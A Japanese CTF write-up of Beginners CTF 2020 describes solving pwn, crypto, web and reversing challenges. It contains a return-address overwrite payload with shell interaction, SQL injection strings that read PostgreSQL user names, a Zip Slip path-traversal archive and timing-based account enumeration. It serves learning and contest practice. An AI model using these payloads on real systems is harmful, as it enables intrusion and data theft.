Beginners CTF 2020に、一人チームrotation
で参加しました。
今回は自動化には主にPython3を使いました。
- コンテスト概要
- 結果
- 環境
- 解けた問題
- [Pwn Beginner] Beginner's Stack
- [Crypto Beginner] R&B
- [Crypto Easy] Noisy equations
- [Web Beginner] Spy
- [Web Easy] Tweetstore
- [Web Easy] unzip
- [Reversing Beginner] mask
- [Reversing Easy] yakisoba
- [Reversing Medium] ghost
- [Reversing Medium] siblangs
- [Misc Beginner] Welcome
- [Misc Easy] emoemoencode
- [Misc Easy] readme
- 取り組んだが解けなかった問題
- 感想
コンテスト概要
Rulesより引用:
競技は 2020/05/23 14:00 JST - 2020/05/24 14:00 JST の24時間開催されます 形式はJeopardyです 問題は解けたチーム数によって得点が変動し、変動があった場合は再計算されランキングに反映されます
結果
正の得点を取得した1009チーム中、2075ptで42位でした。 去年のときと比べると奮闘できました。
環境
Windows+WSL(Ubuntu)で取り組みました。VirtualBox(Ubuntu)も準備していましたが今回は使いませんでした。
Windows
PS C:\> [System.Environment]::OSVersion.Version Major Minor Build Revision ----- ----- ----- -------- 10 0 18363 0
他ソフト
- IDA(Free版) : Version 7.0.18021 Windows 64
WSL
$ uname -a Linux DESKTOP-Win10-1 4.4.0-18362-Microsoft #836-Microsoft Mon May 05 16:04:00 PST 2020 x86_64 x86_64 x86_64 GNU/Linux $ cat /proc/version Linux version 4.4.0-18362-Microsoft (Microsoft@Microsoft.com) (gcc version 5.4.0 (GCC) ) #836-Microsoft Mon May 05 16:04:00 PST 2020 $ python3 --version Python 3.6.9
解けた問題
[Pwn Beginner] Beginner's Stack
Let's learn how to abuse stack overflow!
nc bs.quals.beginners.seccon.jp 9001
- 文中のリンクを踏むとzipファイルをDLできて、展開すると
chall
ファイルが入っていた - とりあえずnsでつないで実行してみると、ものすごく丁寧な図が出てきた:
$ nc bs.quals.beginners.seccon.jp 9001 Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007ffe09b016a0 | 0x00007f26ecb6a9a0 | <-- buf +--------------------+ 0x00007ffe09b016a8 | 0x0000000000000000 | +--------------------+ 0x00007ffe09b016b0 | 0x0000000000000000 | +--------------------+ 0x00007ffe09b016b8 | 0x00007f26ecd83170 | +--------------------+ 0x00007ffe09b016c0 | 0x00007ffe09b016d0 | <-- saved rbp (vuln) +--------------------+ 0x00007ffe09b016c8 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007ffe09b016d0 | 0x0000000000400ad0 | <-- saved rbp (main) +--------------------+ 0x00007ffe09b016d8 | 0x00007f26ec78ab97 | <-- return address (main) +--------------------+ 0x00007ffe09b016e0 | 0x0000000000000001 | +--------------------+ 0x00007ffe09b016e8 | 0x00007ffe09b017b8 | +--------------------+ Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa [ Address ] [ Stack ] +--------------------+ 0x00007ffe09b016a0 | 0x6161616161616161 | <-- buf +--------------------+ 0x00007ffe09b016a8 | 0x6161616161616161 | +--------------------+ 0x00007ffe09b016b0 | 0x6161616161616161 | +--------------------+ 0x00007ffe09b016b8 | 0x6161616161616161 | +--------------------+ 0x00007ffe09b016c0 | 0x6161616161616161 | <-- saved rbp (vuln) +--------------------+ 0x00007ffe09b016c8 | 0x6161616161616161 | <-- return address (vuln) +--------------------+ 0x00007ffe09b016d0 | 0x6161616161616161 | <-- saved rbp (main) +--------------------+ 0x00007ffe09b016d8 | 0x00007f26ec78ab0a | <-- return address (main) +--------------------+ 0x00007ffe09b016e0 | 0x0000000000000001 | +--------------------+ 0x00007ffe09b016e8 | 0x00007ffe09b017b8 | +--------------------+ /home/pwn/redir.sh: line 2: 28521 Segmentation fault ./chall
- 複数回実行してみると、スタックのアドレスは変化しているようだがwin関数のアドレス表示は不変なことに気づく
- return addressをwin関数のアドレスで上書きしてみると、
RSP is misaligned
と言われる:
$ python3 -c 'import sys;sys.stdout.buffer.write(b"\x80"*8*5 + b"\x61\x08\x40\x00\x00\x00\x00\x00")' | nc bs.quals.beginners.seccon.jp 9001 (snip) Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007fffeea4f940 | 0x00007f2b88b849a0 | <-- buf +--------------------+ 0x00007fffeea4f948 | 0x0000000000000000 | +--------------------+ 0x00007fffeea4f950 | 0x0000000000000000 | +--------------------+ 0x00007fffeea4f958 | 0x00007f2b88d9d170 | +--------------------+ 0x00007fffeea4f960 | 0x00007fffeea4f970 | <-- saved rbp (vuln) +--------------------+ 0x00007fffeea4f968 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007fffeea4f970 | 0x0000000000400ad0 | <-- saved rbp (main) +--------------------+ 0x00007fffeea4f978 | 0x00007f2b887a4b97 | <-- return address (main) +--------------------+ 0x00007fffeea4f980 | 0x0000000000000001 | +--------------------+ 0x00007fffeea4f988 | 0x00007fffeea4fa58 | +--------------------+ Input: [ Address ] [ Stack ] +--------------------+ 0x00007fffeea4f940 | 0x8080808080808080 | <-- buf +--------------------+ 0x00007fffeea4f948 | 0x8080808080808080 | +--------------------+ 0x00007fffeea4f950 | 0x8080808080808080 | +--------------------+ 0x00007fffeea4f958 | 0x8080808080808080 | +--------------------+ 0x00007fffeea4f960 | 0x8080808080808080 | <-- saved rbp (vuln) +--------------------+ 0x00007fffeea4f968 | 0x0000000000400861 | <-- return address (vuln) +--------------------+ 0x00007fffeea4f970 | 0x0000000000400ad0 | <-- saved rbp (main) +--------------------+ 0x00007fffeea4f978 | 0x00007f2b887a4b97 | <-- return address (main) +--------------------+ 0x00007fffeea4f980 | 0x0000000000000001 | +--------------------+ 0x00007fffeea4f988 | 0x00007fffeea4fa58 | +--------------------+ Oops! RSP is misaligned! Some functions such as `system` use `movaps` instructions in libc-2.27 and later. This instruction fails when RSP is not a multiple of 0x10. Find a way to align RSP! You're almost there!
- ここでだいぶ悩む、volnのreturn addressでなくmainのreturn addressでwinに飛ばしてみたりするものの状況は同じ
- しばらく考えてもだめだったので一旦他の問題に移る
- 夜になって布団に潜っているときに、「volnもmainも、関数のエピローグが
leave
,ret
なわけだけど、leave
させずにret
すればスタックのアドレスが0x08ずれて正解できるのでは?」と思いつく - 翌朝目覚めた後に試す、volnのreturn addressを、mainの
leave
の次のret
にしてみる - 実行すると
Congratulations!
と無事表示された、ただしその後に起動されるシェルへの入出力をどうにかする必要があった - 自作ペイルードとcatを組み合わせると簡単そうなので組み合わせ方を調べる、
cat -
を使うと標準入力も混ぜられることが分かった - すべてを組み合わせたものを送信:
$ python3 -c 'import sys; sys.stdout.buffer.write(b"\x80"*8*5 + b"\x60\x08\x40\x00\x00\x00\x00\x00" + b"\x61\x08\x40\x00\x00\x00\x00\x00")' > payloard.bin $ cat payloard.bin - | nc bs.quals.beginners.seccon.jp 9001 Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007fff2675a870 | 0x0000000000000000 | <-- buf +--------------------+ 0x00007fff2675a878 | 0x0000000000000000 | +--------------------+ 0x00007fff2675a880 | 0x0000000000000000 | +--------------------+ 0x00007fff2675a888 | 0x00007ff27953e170 | +--------------------+ 0x00007fff2675a890 | 0x00007fff2675a8a0 | <-- saved rbp (vuln) +--------------------+ 0x00007fff2675a898 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007fff2675a8a0 | 0x0000000000400ad0 | <-- saved rbp (main) +--------------------+ 0x00007fff2675a8a8 | 0x00007ff278f45b97 | <-- return address (main) +--------------------+ 0x00007fff2675a8b0 | 0x0000000000000001 | +--------------------+ 0x00007fff2675a8b8 | 0x00007fff2675a988 | +--------------------+ Input: [ Address ] [ Stack ] +--------------------+ 0x00007fff2675a870 | 0x8080808080808080 | <-- buf +--------------------+ 0x00007fff2675a878 | 0x8080808080808080 | +--------------------+ 0x00007fff2675a880 | 0x8080808080808080 | +--------------------+ 0x00007fff2675a888 | 0x8080808080808080 | +--------------------+ 0x00007fff2675a890 | 0x8080808080808080 | <-- saved rbp (vuln) +--------------------+ 0x00007fff2675a898 | 0x0000000000400860 | <-- return address (vuln) +--------------------+ 0x00007fff2675a8a0 | 0x0000000000400861 | <-- saved rbp (main) +--------------------+ 0x00007fff2675a8a8 | 0x00007ff278f45b97 | <-- return address (main) +--------------------+ 0x00007fff2675a8b0 | 0x0000000000000001 | +--------------------+ 0x00007fff2675a8b8 | 0x00007fff2675a988 | +--------------------+ Congratulations! ls chall flag.txt redir.sh cat flag.txt ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
- フラグゲット:
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
(tada
ってなんだろう?)
[Crypto Beginner] R&B
Do you like rhythm and blues?
r_and_b.zip
- リンクからzipをDLして展開すると、
encoded_flag
とproblem.py
が入っていた problem.py
を見ると、rot13かbase64のどちらかを適用し、どちらを適用したかを先頭1文字で表すことを繰り返す処理だった:
from os import getenv FLAG = getenv("FLAG") FORMAT = getenv("FORMAT") def rot13(s): # snipped def base64(s): # snipped for t in FORMAT: if t == "R": FLAG = "R" + rot13(FLAG) if t == "B": FLAG = "B" + base64(FLAG) print(FLAG)
- 逆演算を施せばフラグを得られる:
#!/usr/bin/env python3 import base64 import codecs def unrot13(str): return codecs.decode(str, "rot13") def unbase64(str): return base64.b64decode(str) flag = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==" while True: print(flag) if flag[0]=="R": flag = unrot13(flag[1:]) elif flag[0]=="B": flag = unbase64(flag[1:]).decode("utf-8") else: break
- 出力結果:
ctf4b{rot_base_rot_base_rot_base_base}
[Crypto Easy] Noisy equations
noise hides flag.
nc noisy-equations.quals.beginners.seccon.jp 3000
noisy-equations.zip
- zipをDLして展開すると
problem.py
が入っていた:
from os import getenv from time import time from random import getrandbits, seed FLAG = getenv("FLAG").encode() SEED = getenv("SEED").encode() L = 256 N = len(FLAG) def dot(A, B): assert len(A) == len(B) return sum([a * b for a, b in zip(A, B)]) coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)] seed(SEED) answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs] print(coeffs) print(answers)
getrandbits(L)
の値は、coeffs = ...
行の地点ではseed未指定なのでランダムな数値に、answers = ...
行の地点ではseed指定後なので固定値になることが分かる- 何回か実行してローカルに保存した:
$ nc noisy-equations.quals.beginners.seccon.jp 3000 > example1.txt $ nc noisy-equations.quals.beginners.seccon.jp 3000 > example2.txt
- 保存したtxtファイルを見るとNは44であることが分かった、また各数値は
29925274825127997363782644629711120068833901189883530960730327521555653864863
のオーダーの大きさである(そんな数値が44*44+44個あるのでtxtファイルのサイズが153KBに達する) problem.py
を見直すと、44*44の係数行列をA、flagベクトルをx、seed指定後固定値のgetrandbits(L)
ベクトルをb、answersベクトルをyとすると、Ax+b=yが成り立つことが分かる- ここでAとyは実行ごとに与えられるので既知、xは44要素の未知数、bも44要素の未知数なので、2回の実行結果を組み合わせて88個の連立方程式を立てれば良いことが分かる
- 最初はnumpyの
linalg.solve
を使おうと思っていたものの、小さな値では動くが、今回の問題のような大きな値だとTypeErrorになってしまった:
#!/usr/bin/env python3 # 注意: このコードはTypeErrorとなり解は得られない from fractions import Fraction import numpy as np def read_sample_output(filename): with open(filename) as f: coeffs = eval(f.readline()) answers = eval(f.readline()) return (coeffs, answers) (cs1, a1) = read_sample_output("example1.txt") (cs2, a2) = read_sample_output("example2.txt") assert len(cs1)==44 assert len(cs1[0])==44 assert len(a1)==44 assert len(cs2)==44 assert len(cs2[0])==44 assert len(a2)==44 def to_fraction(arr): return arr # return [Fraction(e) for e in arr] N = len(cs1) arr = [] for i in range(N): t = [] for e in cs1[i]: t.append(e) for j in range(N): t.append(1 if i==j else 0) arr.append(to_fraction(t)) for i in range(N): t = [] for e in cs2[i]: t.append(e) for j in range(N): t.append(1 if i==j else 0) arr.append(to_fraction(t)) A = np.array(arr) b = to_fraction(a1 + a2) print(A) print(b) # TypeError: No loop matching the specified signature and casting was found for ufunc solve1 x = np.linalg.solve(A, b) print(x) flag = x[0:44].decode("utf-8") print(flag)
- なお使っていたnumpyの詳細:
$ pip3 show numpy Name: numpy Version: 1.18.4 Summary: NumPy is the fundamental package for array computing with Python. Home-page: https://www.numpy.org Author: Travis E. Oliphant et al. Author-email: None License: BSD Location: /home/tan/.local/lib/python3.6/site-packages Requires:
- (他の方のwriteupを見ていると、Fractionを使わずnumpy.arrayに
dtype="float"
を指定してやれば、この問題でも精度があるまま解ける模様) - 仕方がないのでnumpyを使うのを諦めて自前で行列演算する方法を探す、 Beginners CTF 2019 writeup - くれなゐの雑記 さんのコードをお借りした:
#!/usr/bin/env python3 from fractions import Fraction def read_sample_output(filename): with open(filename) as f: coeffs = eval(f.readline()) answers = eval(f.readline()) return (coeffs, answers) (cs1, a1) = read_sample_output("example1.txt") (cs2, a2) = read_sample_output("example2.txt") assert len(cs1)==44 assert len(cs1[0])==44 assert len(a1)==44 assert len(cs2)==44 assert len(cs2[0])==44 assert len(a2)==44 def inv_matrix(mat): aaa=0 for row in range(len(mat)): # 時間のかかる処理なので適当なカウンター用、実行全体で12分くらいかかった print(aaa) aaa+=1 tar = mat[row][row] for col in range(len(mat[row])): mat[row][col] /= tar for r in range(len(mat)): if r == row: continue boost = mat[r][row] for c in range(len(mat[r])): mat[r][c] -= mat[row][c] * boost def to_fraction(arr): return [Fraction(e) for e in arr] N = len(cs1) mat = [] for i in range(N): t = [] for e in cs1[i]: t.append(e) for j in range(N): t.append(1 if i==j else 0) t.append(a1[i]) mat.append(to_fraction(t)) for i in range(N): t = [] for e in cs2[i]: t.append(e) for j in range(N): t.append(1 if i==j else 0) t.append(a2[i]) mat.append(to_fraction(t)) print(len(mat)) print(len(mat[0])) inv_matrix(mat) result = [r[-1] for r in mat] print(result) # 実行時は↓の処理を書き間違えてAttributeErrorを起こしてしまっていた、ここで出力してて助かった flag = bytes(x.numerator for x in result[0:44]).decode("utf-8") print(flag)
- 実行してフラグを取れた:
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
[Web Beginner] Spy
As a spy, you are spying on the "ctf4b company".
You got the name-list of employees and the URL to the in-house web tool used by some of them.
Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
- 文中のリンクを踏むと、
app.py
とemployees.txt
をDLできる - 問題文中のURLにアクセスすると、ログイン用ページとチャレンジ用ページがあった
- 26名いる候補者リストの中で、データーベースに登録されている人の組み合わせを調べる必要がある問題らしい
employees.txt
の内容は以下の通り:
Arthur Barbara Christine David Elbert Franklin George Harris Ivan Jane Kevin Lazarus Marc Nathan Oliver Paul Quentin Randolph Scott Tony Ulysses Vincent Wat Ximena Yvonne Zalmon
app.py
の内容は以下の通り、処理時間を測定している箇所が多いのが目につく:
import os import time from flask import Flask, render_template, request, session # Database and Authentication libraries (you can't see this :p). import db import auth # ==================== app = Flask(__name__) app.SALT = os.getenv("CTF4B_SALT") app.FLAG = os.getenv("CTF4B_FLAG") app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY") db.init() employees = db.get_all_employees() # ==================== @app.route("/", methods=["GET", "POST"]) def index(): t = time.perf_counter() if request.method == "GET": return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": name = request.form["name"] password = request.form["password"] exists, account = db.get_account(name) if not exists: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times. # You know, it's really secure... isn't it? :-) hashed_password = auth.calc_password_hash(app.SALT, password) if hashed_password != account.password: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) session["name"] = name return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t)) # ==================== @app.route("/challenge", methods=["GET", "POST"]) def challenge(): t = time.perf_counter() if request.method == "GET": return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": answer = request.form.getlist("answer") # If you can enumerate all accounts, I'll give you FLAG! if set(answer) == set(account.name for account in db.get_all_accounts()): message = app.FLAG else: message = "Wrong!!" return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) # ==================== if __name__ == '__main__': db.init() app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
- ログイン成功時に
dashboard.html
に遷移するのでURLアクセスしてみると404、今回は追う必要がなさそう - ユーザー名一覧があればいいのでデータベースの場所をエスパーしようとするが分からない
- しばらく別の問題に取り組む
- ソース中の、ユーザー有無判定後の
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
というコメントを思うと、登録済みユーザーだけ処理時間がかかるような印象を受ける - 各ユーザーの名前で(手作業で)ログインを試みると、明らかに処理時間に差があった:
Arthur: It took 0.0002452 sec to load this page. Barbara: It took 0.0003254 sec to load this page. Christine: It took 0.0002161 sec to load this page. David: It took 0.0002534 sec to load this page. Elbert: It took 0.3435079 sec to load this page.
- その調子で全ユーザーの名前で(手作業で)ログインを試みた
- 0.1秒以上かかっているユーザーを元にチャレンジしてフラグゲット:
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
[Web Easy] Tweetstore
Search your flag!
Server: https://tweetstore.quals.beginners.seccon.jp/
File: https://score.beginners.seccon.jp/files/tweetstore.zip-ba4fce11c55ef57568fbca33f73c5ce022cad1c2
- Fileのzipを開くと、サーバー側のソース
webserver.go
が入っていた:
package main import ( "context" "fmt" "log" "os" "strings" "time" "database/sql" "html/template" "net/http" "github.com/gorilla/handlers" "github.com/gorilla/mux" _"github.com/lib/pq" ) var tmplPath = "./templates/" var db *sql.DB type Tweets struct { Url string Text string Tweeted_at time.Time } func handler_index(w http.ResponseWriter, r *http.Request) { tmpl, err := template.ParseFiles(tmplPath + "index.html") if err != nil { log.Fatal(err) } var sql = "select url, text, tweeted_at from tweets" search, ok := r.URL.Query()["search"] if ok { sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" } sql += " order by tweeted_at desc" limit, ok := r.URL.Query()["limit"] if ok && (limit[0] != "") { sql += " limit " + strings.Split(limit[0], ";")[0] } var data []Tweets ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) defer cancel() rows, err := db.QueryContext(ctx, sql) if err != nil{ http.Error(w, http.StatusText(500), 500) return } for rows.Next() { var text string var url string var tweeted_at time.Time err := rows.Scan(&url, &text, &tweeted_at) if err != nil { http.Error(w, http.StatusText(500), 500) return } data = append(data, Tweets{url, text, tweeted_at}) } tmpl.Execute(w, data) } func initialize() { var err error dbname := "ctf" dbuser := os.Getenv("FLAG") dbpass := "password" connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname) db, err = sql.Open("postgres", connInfo) if err != nil { log.Fatal(err) } } func main() { initialize() r := mux.NewRouter() r.HandleFunc("/", handler_index).Methods("GET") http.Handle("/", r) http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux)) }
- サーバーURLを開くと、データベースに保存されているSECCON Beginners(@ctf4b) のツイート200個の中から、検索内容と検索数を指定できて表示するページが出てきた
- ソースから使用しているDBはpostgresであることが分かった、またフラグはユーザー名として使われていることが分かった
- ソースを中に、検索内容と検索数をエスケープしているようなコードがあった:
if ok { sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" } (snip) if ok && (limit[0] != "") { sql += " limit " + strings.Split(limit[0], ";")[0] }
- search側は
'
をエスケープして、limit側は複文を防止するようなコードになっている - ただし実際に検索内容に
'
を入力してみるとServerErrorになる、つまりエスケープ処理が間違っていることが分かった - SQLの構文を調べていると、PostgresSQLに限らずSQLにおけるquoteのエスケープは、バックスラッシュではなく
''
のように二重に記述することが正しいエスケープ方法だと分かった - 4.1. 字句の構造 によると、PostgreSQLでは
U&"d\0061t\+000061"
のようにU-prefixの文字列ではバックスラッシュのエスケープが可能であるが、今回はU-prefixではないのでバックスラッシュはメタ文字ではなく単なる1文字として解釈されていそう - 入力欄に
' and 1=0--
を入れると0件表示にできた - この問題ではユーザー名にフラグがあるので、PostgreSQLでユーザー一覧を持っている特殊な表があるかをググる
- Command to list PostgreSQL user accounts? - Unix & Linux Stack Exchange を見つける、
SELECT u.usename AS "User Name" FROM pg_catalog.pg_user u
のようにすればSQLから取得できることが分かった - SQL InjectionではUNION SELECTを使うのが典型的なようなので
union select null, null, null
などを組み込んで試す、ただしことごとくServerErrorになる - サーバー側のコードを見直す、型付き変数を指定しているのでUNION内容も型に合わせる必要がありそうなことが分かった:
for rows.Next() { var text string var url string var tweeted_at time.Time err := rows.Scan(&url, &text, &tweeted_at) if err != nil { http.Error(w, http.StatusText(500), 500) return } data = append(data, Tweets{url, text, tweeted_at}) }
- 最低限UNION出来る内容を調べる、
' and 1=0 union select url, text, tweeted_at from tweets --
と型を合わせればUNIONできた pg_catalog.pg_user
のusename
はstringだろうから、textの位置に突っ込もうと考える(このときurlがURL専用の型だと思いこんでいた、今見返すと単なるstringだった)- とにかく表示さえできればいいので直積を取る
' and 1=0 union select url, usename, current_date from tweets, pg_catalog.pg_user --
を入力する(tweeted_atをわざわざcurrent_dateに変えたけれど不要だった) - 無事フラグが表示された:
ctf4b{is_postgres_your_friend?}
- (後日気づいたけど、少しだけ加工すれば直積を取らずにフラグをゲットできた:
' and 1=0 union select usename, usename, current_date from pg_catalog.pg_user --
)
[Web Easy] unzip
Unzip Your .zip Archive Like a Pro.
https://unzip.quals.beginners.seccon.jp/
Hint: index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)
Hint (updated at 5/23 17:30) docker-compose.yml
docker-compose.yml
の内容は以下の通り:
version: "3" services: nginx: build: ./docker/nginx ports: - "127.0.0.1:$APP_PORT:80" depends_on: - php-fpm volumes: - ./storage/logs/nginx:/var/log/nginx - ./public:/var/www/web environment: TZ: "Asia/Tokyo" restart: always php-fpm: build: ./docker/php-fpm env_file: .env working_dir: /var/www/web environment: TZ: "Asia/Tokyo" volumes: - ./public:/var/www/web - ./uploads:/uploads - ./flag.txt:/flag.txt restart: always
- おそらくWebサーバーは
/var/www/web
以下で動いていて/flag.txt
を読めればいいらしい - Webサイトを開くとzipファイルをアップロードする機能があった
- 適当にzipを投げると、そのzip内容のファイル名一覧が表示され、ファイル名をクリックするとそのファイルの内容を表示してくれるものらしい
- ここでzipの中の相対パスが表示されているので、Zip Slip攻撃が刺さりそう
- Zip Slip用のzipファイルの生成方法をググると How to create a file to test Zip Slip Vulnerability from commandline - Stack Overflow を見つける
- 攻撃用のzipファイルを作る:
$ touch ../../flag.txt $ zip zipslip.zip ../../flag.txt adding: ../../flag.txt (stored 0%)
- このzipをアップロードすると https://unzip.quals.beginners.seccon.jp/?filename=..%2F..%2Fflag.txt へのリンクが作られた
- リンクを踏んでフラグを取得:
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
[Reversing Beginner] mask
The price of mask goes down. So does the point (it's easy)!
- 文中のリンクを踏むとzipファイルをDLできて、展開すると
mask
ファイルが入っていた - 内容確認:
$ file mask mask: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=49166a467aee16fbfe167daf372d3263837b4887, for GNU/Linux 3.2.0, not stripped
- 実行してみると、コマンドライン引数を与えると何か出力して比較しているものらしい:
$ ./mask ABC Putting on masks... A@A ABC Wrong FLAG. Try again.
- 同じ文字列を繰り返し指定すると同じように出力されるので、文字の位置は無関係で文字種のみが出力に関わると予想した:
$ ./mask ABCABCABC Putting on masks... A@AA@AA@A ABCABCABC Wrong FLAG. Try again.
- IDAで見てみると、何か色々処理した後に2つの文字列比較をして両者とも一致する場合が正しいフラグが分かった
- 比較対象はASCII文字列で直書きされているので、総当りで試す:
#!/usr/bin/env python3 # maskに実際に与えた変換結果 orig = """{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ- _""" enc1 = """qu0101454501a`adede`a`adedepqpqtutupqpA@ADEDE@A@ADEDEPQPQTUTUPQP% U""" enc2 = """ki !"# !"#()abc`abchijkhijk`abc`abchijABC@ABCHIJKHIJK@ABC@ABCHIJ) K""" m1 = {} m2 = {} for i in range(len(orig)): m1[orig[i]] = enc1[i] m2[orig[i]] = enc2[i] result = "" # strcmpでの比較対象の文字列2つ cmp1 = """atd4`qdedtUpetepqeUdaaeUeaqau""" cmp2 = """c`b bk`kj`KbababcaKbacaKiacki""" while len(result) < len(cmp1): i = len(result) for c in orig: if cmp1[i]==m1[c] and cmp2[i]==m2[c]: result += c break else: print(f"Not found at {i}") break print(result)
- 出力結果:
ctf4b{dont_reverse_face_mask}
[Reversing Easy] yakisoba
Would you like to have a yakisoba code?
(Hint: You'd better automate your analysis)
- 文中のリンクを踏むとzipファイルをDLできて、展開すると
yakisoba
ファイルが入っていた - 実行してみる、今度は実行中に標準入力で与える方式だった:
$ ./yakisoba FLAG: test Wrong!
- IDAで見てみる、mainから呼んでいる関数が0を返すとCorrectらしい
- 肝心の関数の内容は、以下のように巨大なもの:
- 各分岐はeaxに非0を入れてretするものが多い、ざっと見で0を返す場所を探すが見当たらず
- 問題文のヒントもあることだし、昨年の
Reversing Linear Operation
問題での雪辱を果たすべくangr
を使おうと決意する - 不安どころとして、IDAで
yakisoba
を見ていたときはアドレス表示が.text:0000000000000680
と小さいためPIEが有効になっている様子、angr
ではどう扱われるのかググる - how to use angr to solve ctf problem while the target elf has PIE? · Issue #757 · angr/angr にて
angr will load it at a base address of 0x400000.
との言及を見つけて安心する - angrをインストールした、今回使ったバージョンは以下:
$ pip3 show angr Name: angr Version: 8.20.1.7 Summary: A multi-architecture binary analysis toolkit, with the ability to perform dynamic symbolic execution and various static analyses on binaries Home-page: https://github.com/angr/angr Author: None Author-email: None License: UNKNOWN Location: /home/tan/.local/lib/python3.6/site-packages Requires: mulpyplexer, pyvex, progressbar2, networkx, cffi, unicorn, archinfo, GitPython, cle, rpyc, psutil, sortedcontainers, pycparser, itanium-demangler, ailment, protobuf, claripy, cachetools, dpkt, capstone
- 自動化コードを書こうとするものの
angr
APIの使い方が全然分からないのでググる、公式ドキュメントはどこを見たらいいのかわからないし、有名どころのセキュリティ系ブログの記事でもバージョンが古いものがありAPIが非互換だったりする - 結局 angstromCTF 2020 writeup - みつのCTF精進記録 さんのコードをほぼそのままお借りした:
#!/usr/bin/env python3 import angr # > The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. # と表示してくれる image_base = 0x400000 p = angr.Project('./yakisoba') state = p.factory.entry_state() simgr = p.factory.simulation_manager(state) simgr.explore(find=image_base+0x06D2, avoid=image_base+0x06F7) found = simgr.found[0] print(found.posix.dumps(0))
- 実行すると10秒ほどで出力された:
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\xd9\xd9\xd9\xd9'
(angrを最低限使うだけならこのコード量で行けるんですね) - ASCII部分を取り出してフラグゲット:
ctf4b{sp4gh3tt1_r1pp3r1n0}
(ripperinoってどういった意味なんでしょう?)
[Reversing Medium] ghost
A program written by a ghost 👻
- 問題文中のリンクを踏むとzipをDLできて、展開すると
output.txt
とchall.gs
が入っていた output.txt
の内容は数値列である:
3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094
chall.gs
の内容は何かのプログラミング言語っぽい:
/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
- Ghost Scriptというやつかなあ、言語仕様どこかにあるのかなあ、とググる
- How to Use Ghostscript を見ると
gs
コマンドを使うらしい - WSLで入力してみたらインストール済みだった:
$ gs GPL Ghostscript 9.26 (2018-11-20) Copyright (C) 2018 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. GS>
chall.gs
を実行してみると、各文字、各桁ごとに何か変換された数値を出力するらしい:
$ gs -q chall.gs AAA 25869 29907 44954 $ gs -q chall.gs AAAAAA 25869 29907 44954 36743 8087 7056
- 先頭から1文字ずつ確定できそうなのでソルバーを書く:
